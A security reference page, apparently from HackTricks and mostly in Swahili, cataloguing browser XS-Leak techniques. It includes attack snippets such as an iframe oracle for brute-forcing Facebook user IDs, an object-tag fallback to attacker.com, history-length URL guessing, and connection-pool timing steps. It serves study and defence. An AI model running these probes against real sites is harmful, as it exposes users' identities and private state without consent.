XS-Search/XS-Leaks

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

XS-Search ni mbinu inayotumika kwa kuchota information za cross-origin kwa kutumia side channel vulnerabilities.

Vipengele vikuu vinavyohusika katika shambulio hili ni:

  • Vulnerable Web: Tovuti lengwa ambayo taarifa zinakusudiwa kuchukuliwa.
  • Attacker’s Web: Tovuti hatari iliyotengenezwa na mshambuliaji ambayo muathiriwa anatembelea, ikihifadhi exploit.
  • Inclusion Method: Mbinu inayotumika kuingiza Vulnerable Web ndani ya Attacker’s Web (mfano: window.open, iframe, fetch, tag za HTML zenye href, n.k.).
  • Leak Technique: Mbinu zinazotumika kutofautisha hali za Vulnerable Web kwa kutumia taarifa zinazopatikana kupitia inclusion method.
  • States: Hali mbili zawezekano za Vulnerable Web ambazo mshambuliaji anajaribu kutofautisha.
  • Detectable Differences: Tofauti zinazoweza kuonekana ambazo mshambuliaji hutegemea kubaini hali ya Vulnerable Web.

Detectable Differences

Vipengele kadhaa vinaweza kuchambuliwa kutofautisha hali za Vulnerable Web:

  • Status Code: Kutofautisha kati ya status codes za HTTP tofauti cross-origin, kama makosa ya server, makosa ya client, au makosa ya authentication.
  • API Usage: Kutambua matumizi ya Web APIs katika kurasa, kuonyesha kama ukurasa wa cross-origin unatumia JavaScript Web API fulani.
  • Redirects: Kugundua navigations kwenda ukurasa mwingine, sio tu HTTP redirects bali pia zile zinazochochewa na JavaScript au HTML.
  • Page Content: Kuangalia tofauti katika HTTP response body au katika sub-resources za ukurasa, kama idadi ya frames zilizowekwa au tofauti za ukubwa katika picha.
  • HTTP Header: Kurekebisha uwepo au pengine thamani ya HTTP response header fulani, ikiwa ni pamoja na vichwa kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
  • Timing: Kutoa taarifa kuhusu tofauti za muda zinazorudiwa kati ya hali hizo mbili.

Inclusion Methods

  • HTML Elements: HTML inatoa vipengele mbalimbali kwa ajili ya cross-origin resource inclusion, kama stylesheets, images, au scripts, vinavyofanya browser kuomba resource isiyo-HTML. Orodha ya vipengele vya HTML vinavyoweza kutumika kupatikana katika https://github.com/cure53/HTTPLeaks.
  • Frames: Vipengele kama iframe, object, na embed vinaweza kuweka resources za HTML moja kwa moja ndani ya ukurasa wa mshambuliaji. Ikiwa ukurasa hauko na framing protection, JavaScript inaweza kufikia window object ya framed resource kupitia contentWindow property.
  • Pop-ups: Mbinu ya window.open hufungua resource kwenye tab au dirisha jipya, ikitoa window handle kwa JavaScript kuingiliana na methods na properties kufuatia SOP. Pop-ups, zinazotumika mara nyingi katika single sign-on, hupitisha framing na vikwazo vya cookie vya resource lengwa. Hata hivyo, browsers za kisasa zinaruhusu kuunda pop-up tu kwa vitendo fulani vya mtumiaji.
  • JavaScript Requests: JavaScript inaruhusu maombi ya moja kwa moja kwenda resources lengwa kwa kutumia XMLHttpRequests au Fetch API. Mbinu hizi zinatoa udhibiti wa kina juu ya request, kama kuchagua kufuata HTTP redirects.

Leak Techniques

  • Event Handler: Mbinu ya kawaida katika XS-Leaks, ambapo event handlers kama onload na onerror hutoa taarifa kuhusu mafanikio au kushindwa kwa loading ya resource.
  • Error Messages: Exceptions za JavaScript au kurasa maalum za kosa zinaweza kutoa taarifa za leak moja kwa moja kutoka kwenye ujumbe wa kosa au kwa kutofautisha uwepo wake.
  • Global Limits: Vizuizi vya kifizikia vya browser, kama uwezo wa memory au vikwazo vingine vya browser, vinaweza kuonyesha wakati threshold imefikiwa, kutumika kama mbinu ya leak.
  • Global State: Mwingiliano unaoweza kugunduliwa na global states za browser (mfano, interface ya History) unaweza kutumiwa. Kwa mfano, idadi ya entries kwenye history ya browser inaweza kutoa vidokezo kuhusu kurasa za cross-origin.
  • Performance API: API hii inatoa maelezo ya performance ya ukurasa wa sasa, ikijumuisha wakati wa network kwa sehemu ya document na resources zilizosomwa, kuruhusu kutabiri kuhusu resources zilizohitajika.
  • Readable Attributes: Baadhi ya attributes za HTML zinaweza kusomwa cross-origin na zinaweza kutumika kama mbinu ya leak. Kwa mfano, property window.frame.length inaruhusu JavaScript kuhesabu frames zilizojumuishwa kwenye webpage cross-origin.

XSinator Tool & Paper

XSinator ni chombo otomatiki cha kukagua browsers dhidi ya XS-Leaks kadhaa kama ilivyoelezwa kwenye paper yake: https://xsinator.com/paper.pdf

Unaweza kupata chombo kwenye https://xsinator.com/

Warning

Excluded XS-Leaks: Tulilazimika kuondoa XS-Leaks zinazoegemea service workers kwa sababu zingeingiliana na leaks nyingine katika XSinator. Zaidi ya hayo, tuliamua kutojumuisha XS-Leaks zinazoegemea misconfiguration na bugs katika web application maalum. Kwa mfano, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage au Cross-Site Scripting. Aidha, tuliziondoa timebased XS-Leaks kwa kuwa mara nyingi huwa polepole, zenye kelele na zisizo sahihi.

Timing Based techniques

Baadhi ya mbinu zifuatazo zitakuwa zikitegemea timing kama sehemu ya mchakato wa kugundua tofauti kati ya hali za kurasa za wavuti. Kuna njia mbalimbali za kupima muda katika browser.

Clocks: API ya performance.now() inawawezesha watengenezaji kupata vipimo vya wakati vya resolution ya juu.
Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuingiza ili kuunda saa isiyoeleweka: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, na nyinginezo.
Kwa taarifa zaidi: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Mfano wa code unajaribu lo load scripts objects from JS, lakini tags nyingine kama objects, stylesheets, images, audios zinaweza pia kutumika. Zaidi ya hayo, inawezekana pia kuchoma tag moja kwa moja na kutangaza matukio ya onload na onerror ndani ya tag (badala ya kuiingiza kutoka JS).

Pia kuna toleo la shambulio hili lisilotumia script:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Katika kesi hii, ikiwa example.com/404 haitapatikana, attacker.com/?error itapakiwa.

Content-Type/CORB script load oracle

  • Njia za Ujumuishaji: HTML Elements (script)
  • Tofauti Inayoweza Kugunduliwa: Header / Content-Type via onload vs onerror (CORB)
  • Muhtasari: Ikiwa endpoint inarudisha HTML wakati kuna match na JSON wakati haiko match, ipakue kwa <script src>. HTML husababisha onload; JSON inazuiliwa na CORB na huchoma onerror, ikitoa Boolean oracle ili kufanyia brute-force vitambulisho kama __user ndani ya eneo lililojulikana.
  • Vidokezo: Inafanya kazi cross-origin bila kusoma mwili wa majibu; ni muhimu kuorodhesha akaunti hai wakati tenant ID moja imewekwa.

postMessage vs X-Frame-Options deny oracle

  • Njia za Ujumuishaji: Frames
  • Tofauti Inayoweza Kugunduliwa: Header (XFO) + postMessage presence/absence
  • Muhtasari: Baadhi ya widgets hutoa postMessage kwa parent yao mara zinapopakuliwa. Ikiwa ombi limefadhiliwa ndani ya frame na identifier isiyo sahihi, server inaweza kujibu na X-Frame-Options: deny, kuzuia rendering na kwa hivyo hakuna message itakayetumwa. Kwa kuweka iframe src na candidate ID, kusubiri message event (mafanikio) na kutenda timeout/hakuna message kama kushindwa, akaunti hai inaweza kufanyiwa brute-force.
  • Kifupi cha chini:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

kwa matatizo zaidi ya message/iframe.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Mbinu hii ni kama ile iliyotangulia, lakini attacker pia ata force hatua fulani ili ichukue muda wa kutosha wakati jibu ni la chanya au hasi na kupima muda huo.

performance.now + Force heavy task

unload/beforeunload Timing

Muda uliochukuliwa kuupata rasilimali unaweza kupimwa kwa kutumia matukio ya unload na beforeunload. Tukio la beforeunload linafanyika wakati browser inakaribia kuvinjari kwenye ukurasa mpya, wakati tukio la unload hutokea wakati uhamaji unapoendelea. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubainisha muda ambao browser uliutumia kupata rasilimali.

Sandboxed Frame Timing + onload

Imeonekana kwamba bila Framing Protections, muda unaohitajika kwa ukurasa na subresources zake kupakia kupitia mtandao unaweza kupimwa na attacker. Upimaji huu kwa kawaida unawezekana kwa sababu handler ya onload ya iframe inachomwa tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kupunguza utofauti unaosababishwa na utekelezaji wa script, attacker anaweza kutumia sifa ya sandbox ndani ya <iframe>. Kuingiza sifa hii kunazuia functionalities nyingi, hasa utekelezaji wa JavaScript, na hivyo kurahisisha upimaji unaoathiriwa zaidi na utendaji wa mtandao.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Ikiwa unaweza kusababisha ukurasa kuwa na hitilafu wakati yaliyomo sahihi yanapofikiwa na ukaufungua vizuri wakati yaliyomo yoyote yanapofikiwa, basi unaweza kufanya mzunguko wa kuchota taarifa zote bila kupima muda.
  • Code Example:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains “flag” using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won’t be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Ikiwa page inarudisha yaliyomo nyeti, au yaliyomo ambayo yanaweza kudhibitiwa na mtumiaji. Mtumiaji anaweza kuweka JS halali katika kesi hasi, na kupakia kila jaribio ndani ya <script> tags, kwa hivyo katika kesi hasi code za attacker zinaweza kutekelezwa, na katika kesi chanya hakuna kitakachotekelezwa.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) ni hatua ya usalama inayozuia web pages kupakia rasilimali fulani za cross-origin ili kuzuia mashambulizi kama Spectre. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya ulinzi. Wakati response inayolindwa na CORB inarudisha Content-Type inayolindwa na nosniff na status code ya 2xx, CORB inaondoa body na headers za response. Washambuliaji wanaoangalia hili wanaweza kubaini mchanganyiko wa status code (kuonyesha mafanikio au hitilafu) na Content-Type (kuonyesha kama imewalindwa na CORB), na hivyo kutokea potential information leak.
  • Code Example:

Check the more information link for more information about the attack.

onblur

It’s possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page
  • Code Example: Any code listening for all postMessages.

Applications frequently utilize postMessage broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user’s state or identity, such as whether they are authenticated or not.

Global Limits Techniques

WebSocket API

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.

If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.

Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.

Warning

Katika execution timing inawezekana kuondoa vigezo vya mtandao ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia resources zinazotumiwa na ukurasa kabla ya kuupakia.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: One method to measure the execution time of a web operation involves intentionally blocking the event loop of a thread and then timing how long it takes for the event loop to become available again. By inserting a blocking operation (such as a long computation or a synchronous API call) into the event loop, and monitoring the time it takes for subsequent code to begin execution, one can infer the duration of the tasks that were executing in the event loop during the blocking period. This technique leverages the single-threaded nature of JavaScript’s event loop, where tasks are executed sequentially, and can provide insights into the performance or behavior of other operations sharing the same thread.
  • Code Example:

A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin’s activities. This method does not rely on direct access to the other origin’s data but rather observes the impact of that origin’s activities on the shared event loop, thus evading the protective barriers established by Site Isolation.

Warning

Katika execution timing inawezekana kuondoa vigezo vya mtandao ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia resources zinazotumiwa na ukurasa kabla ya kuupakia.

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load.
  • Code Example:

Connection Pool Examples

Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:

  1. Ascertain the browser’s socket limit, for instance, 256 global sockets.
  2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
  3. Employ the 256th socket to send a request to the target page.
  4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page’s socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: It’s like the previous technique but instead of using all the sockets, Google Chrome puts a limit of 6 concurrent request to the same origin. If we block 5 and then launch a 6th request we can time it and if we managed to make the victim page send more requests to the same endpoint to detect a status of the page, the 6th request will take longer and we can detect it.

Performance API Techniques

The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.

This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, it’s worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.

Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the page’s framing policies.

Error Leak

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it’s still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.

X-Frame Leak

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.

Download Detection

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API it’s possible to check if a resource is cached.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

The MediaError interface’s message property inatambua vigezo vinavyopakuliwa kwa ufanisi kwa kutumia string tofauti. Mshambuliaji anaweza kutumia kipengele hiki kwa kuangalia yaliyomo kwenye message na hivyo kubaini hali ya majibu ya rasilimali ya cross-origin.

CORS Error

Teknolojia hii inamuwezesha mshambuliaji kukamata mahali pa kwenda (destination) pa redirect ya tovuti ya cross-origin kwa kutumia jinsi vivinjari vinavyotumia Webkit vinavyoshughulikia maombi ya CORS. Hasa, wakati request yenye CORS-enabled inaelekezwa (redirect) kwa tovuti inayotegemea hali ya mtumiaji na kivinjari kinakiruhusu request, ujumbe wa makosa unaweza kufichua URL kamili ya lengo la redirect. Upungufu huu hauyoni tu tukio la redirect bali pia unaonyesha endpoint ya redirect na vigezo vya query vinavyoweza kuwa vya nyeti (sensitive query parameters).

SRI Error

Mshambuliaji anaweza kutumia ujumbe wa makosa ulioelezewa sana kubaini ukubwa wa majibu ya cross-origin. Hii inatokana na mekanisma ya Subresource Integrity (SRI), ambayo inatumia integrity attribute kuthibitisha kuwa rasilimali zinazopakiwa (mara nyingi kutoka CDNs) hazijaharibiwa. Kwa SRI kufanya kazi kwa rasilimali za cross-origin, rasilimali hizo lazima ziwe CORS-enabled; vinginevyo, hazifanyiwa integrity checks. Katika Security Assertions (SA), kama ilivyo kwa CORS error XS-Leak, ujumbe wa makosa unaweza kusambazwa baada ya fetch request yenye integrity attribute kushindwa. Washambuliaji wanaweza kusababisha makosa haya kwa kuweka hash ya uongo (bogus hash value) kwenye integrity attribute ya request. Katika SA, ujumbe wa makosa unaotokea kwa bahati mbaya unaonyesha urefu wa yaliyomo (content length) ya rasilimali iliyotakiwa. Kuvuja kwa taarifa hii kunamuwezesha mshambuliaji kutofautisha mabadiliko ya ukubwa wa jibu, na hivyo kuwezesha mashambulizi ya XS-Leak ya juu.

CSP Violation/Detection

XS-Leak inaweza kutumia CSP kugundua kama tovuti ya cross-origin iliredirect kwenda origin tofauti. Leak hii inaweza kugundua redirect, na pia domain ya lengo la redirect inaweza kuvuja. Mfano wa msingi wa shambulio ni kuruhusu domain ya target kwenye tovuti ya mshambuliaji. Mara request itakapotolewa kwa domain ya target, itaredirect kwa domain ya cross-origin. CSP inazuia ufikiaji na kuunda ripoti ya uvunjaji (violation report) inayotumika kama mbinu ya leak. Kulingana na kivinjari, ripoti hii inaweza kuvuja mahali palipoelekezwa na redirect.
Vivinjaribora vya kisasa havitaonyesha URL iliyoredirectwa, lakini bado unaweza kugundua kuwa redirect ya cross-origin ilitokee.

Cache

Vivinjaribora vinaweza kutumia kache moja ya pamoja kwa tovuti zote. Bila kujali origin, inawezekana kubaini kama ukurasa la target limeomba faili maalum.

Kama ukurasa unapakia image tu ikiwa mtumiaji ameingia (logged in), unaweza kuifuta rasilimali hiyo kwenye kache (ili isibaki pale kama ilikuwa, angalia viungo vya habari zaidi), kufanya request inayoweza kupakia rasilimali hiyo na kujaribu kupakia rasilimali hiyo tena kwa request mbaya (kwa mfano kutumia referer header ndefu sana). Ikiwa upakiaji wa rasilimali haukusababisha kosa, ni kwa sababu ilikuwa ime cached.

CSP Directive

Sifa mpya katika Google Chrome (GC) inaruhusu kurasa za wavuti kupendekeza Content Security Policy (CSP) kwa kuweka attribute kwenye iframe, na directives za sera zikitumwa pamoja na request ya HTTP. Kwa kawaida, yaliyomo yaliyowekwa lazima yoehekelee hili kupitia header ya HTTP, au ukurasa wa kosa utaonyeshwa. Hata hivyo, kama iframe tayari iko chini ya CSP na sera mpya haizidi kuwa kali zaidi, ukurasa utaweza kupakia kawaida. Mekanisma hii inatoa njia kwa mshambuliaji kubaini maagizo maalum ya CSP ya ukurasa wa cross-origin kwa kutambua ukurasa wa kosa. Ingawa kifungu hiki kilitiliwa shaka kuwa kimefungwa, ugunduzi wetu unaonyesha mbinu mpya ya leak inayoweza kugundua ukurasa wa kosa, ikipendekeza kuwa tatizo la msingi halikutosheka kabisa.

CORP

Header ya CORP ni kipengele kipya cha usalama wa jukwaa la wavuti ambacho, inapowekwa, kinazuia (blocks) no-cors cross-origin requests kwa rasilimali husika. Ukuwepo wa header unaweza kugunduliwa, kwa sababu rasilimali iliyolindwa na CORP itatoa kosa wakati itakapofetchwa.

CORB

Angalia kiungo kwa maelezo zaidi kuhusu shambulio.

CORS error on Origin Reflection misconfiguration

Kama header ya Origin inarekebishwa (reflected) katika Access-Control-Allow-Origin, mshambuliaji anaweza kutumia tabia hii kujaribu kufetch rasilimali katika CORS mode. Ikiwa kosa halitokei, inamaanisha kuwa ilipatikana kwa usahihi kutoka wavuti; ikiwa kosa linatokea, ni kwa sababu ilipatikana kutoka kache (kosa linaratibishwa kwa sababu kache inahifadhi jibu lenye CORS header likiruhusu domain ya asili na si domain ya mshambuliaji).
Kumbuka kuwa ikiwa origin haireflecti lakini wildcard (Access-Control-Allow-Origin: *) inatumika, hii haitafanya kazi.

Readable Attributes Technique

Fetch Redirect

Ikiwa utaomba kwa kutumia Fetch API na redirect: "manual" na param nyingine, inawezekana kusoma attribute response.type na ikiwa ni sawa na opaqueredirect basi response ilikuwa redirect.

COOP

Mshambuliaji anaweza kubaini uwepo wa header ya Cross-Origin Opener Policy (COOP) katika jibu la HTTP la cross-origin. COOP inatumiwa na programu za wavuti kuzuia tovuti za nje kupata references za windows. Uwezo wa kuona header hii unaweza kugunduliwa kwa kujaribu kupata rejea ya contentWindow. Katika matukio ambapo COOP inatumika kwa masharti, mali ya opener inakuwa dalili: ni undefined wakati COOP iko, na defined ikiwa haipo.

URL Max Length - Server Side

Kama redirect upande wa server inatumia input ya mtumiaji ndani ya redirect na data ya ziada, inaweza kuonekana kwa urahisi kwa sababu server mara nyingi ina kikomo cha urefu wa request. Ikiwa data ya mtumiaji iko karibu na kikomo - 1, na redirect inatumia data hiyo na kuongezea kitu zaidi, itasababisha kosa linaloweza kuchunguzwa kupitia Error Events.

Kama unaweza kuweka cookies kwa mtumiaji, pia unaweza kufanya shambulio hili kwa kusanikisha cookies nyingi (cookie bomb) hivyo kwa kukua kwa ukubwa wa response ya jibu sahihi kosa hilo litasababishwa. Katika kesi hii, kumbuka kuwa ukifanya ombi kutoka kwa tovuti ile ile, <script> itatuma cookies moja kwa moja (hivyo unaweza kuchunguza makosa).
Mfano wa cookie bomb + XS-Search unaweza kupatikana katika Intended solution ya writeup hii: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None au kuwa katika context ile ile kawaida inahitajika kwa aina hii ya shambulio.

URL Max Length - Client Side

Kulingana na Chromium documentation, Chrome ina kikomo cha urefu wa URL cha 2MB.

Kwa ujumla, jukwaa la wavuti halina vizingiti vya urefu wa URL (ingawa 2^31 ni kikomo kinachotumika mara nyingi). Chrome inaleta kikomo cha URLs hadi 2MB kwa sababu za vitendo na kuepuka matatizo ya denial-of-service katika mawasiliano ya inter-process.

Kwa hivyo ikiwa redirect URL iliyojibiwa ni kubwa katika tukio moja, inawezekana kufanya redirect na URL kubwa kuliko 2MB ili kufikia kikomo cha urefu. Wakati hili linapotokea, Chrome inaonyesha ukurasa wa about:blank#blocked.

Tofauti inayoweza kutambulika, ni kwamba ikiwa redirect ilikamilika, window.origin inatoa kosa kwa sababu cross origin haiwezi kufikia taarifa hiyo. Hata hivyo, ikiwa kikomo kilifikwa na ukurasa uliozinduliwa ulikuwa about:blank#blocked, origin ya window inabaki ile ya mzazi, ambayo ni taarifa inayoweza kupatikana.

Yaliyoongezwa yote ya ziada yanayohitajika kufikia 2MB yanaweza kuongezwa kupitia hash kwenye URL ya awali ili itumike katika redirect.

URL Max Length - Client Side

Max Redirects

Ikiwa idadi ya juu ya redirects za kufuatilia kwa kivinjari ni 20, mshambuliaji anaweza kujaribu kupakia ukurasa wake na 19 redirects na hatimaye kumpeleka victim kwenye ukurasa unaochunguzwa. Ikiwa kosa linatokea, basi ukurasa ulikuwa unajaribu kumre-direct victim.

History Length

History API inaruhusu JavaScript kubadilisha history ya kivinjari, ambayo inahifadhi kurasa zilizotembelewa na mtumiaji. Mshambuliaji anaweza kutumia property length kama njia ya kuingiza: kugundua navigation za JavaScript na HTML.
Kukagua history.length, kumfanya mtumiaji aende kwenye ukurasa, kurudisha kurasa kwa same-origin na kukagua thamani mpya ya history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: Inawezekana kukisia kama location ya frame/popup iko kwenye URL maalum kwa kutumia history length.
  • Code Example: Below

Mshambuliaji anaweza kutumia JavaScript kuweka location ya frame/popup kwenye URL aliyekisia na mara moja kubadilisha kuwa about:blank. Ikiwa history length iliongezeka ina maana URL ilikuwa sahihi na ilikuwa na muda wa kuongeza kwa sababu URL haipakiswi upya ikiwa ni ile ile. Ikiwa haikuongezeka, ina maana ilijaribu kupakia URL aliyekisia lakini kwa sababu tulipakia mara moja about:blank, history length haikuongezeka wakati wa kupakia URL aliyekisia.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Kuhesabu Frames

Kuhesabu idadi ya frames katika tovuti zilizofunguliwa kupitia iframe au window.open kunaweza kusaidia kubaini hali ya mtumiaji kuhusu ukurasa huo.
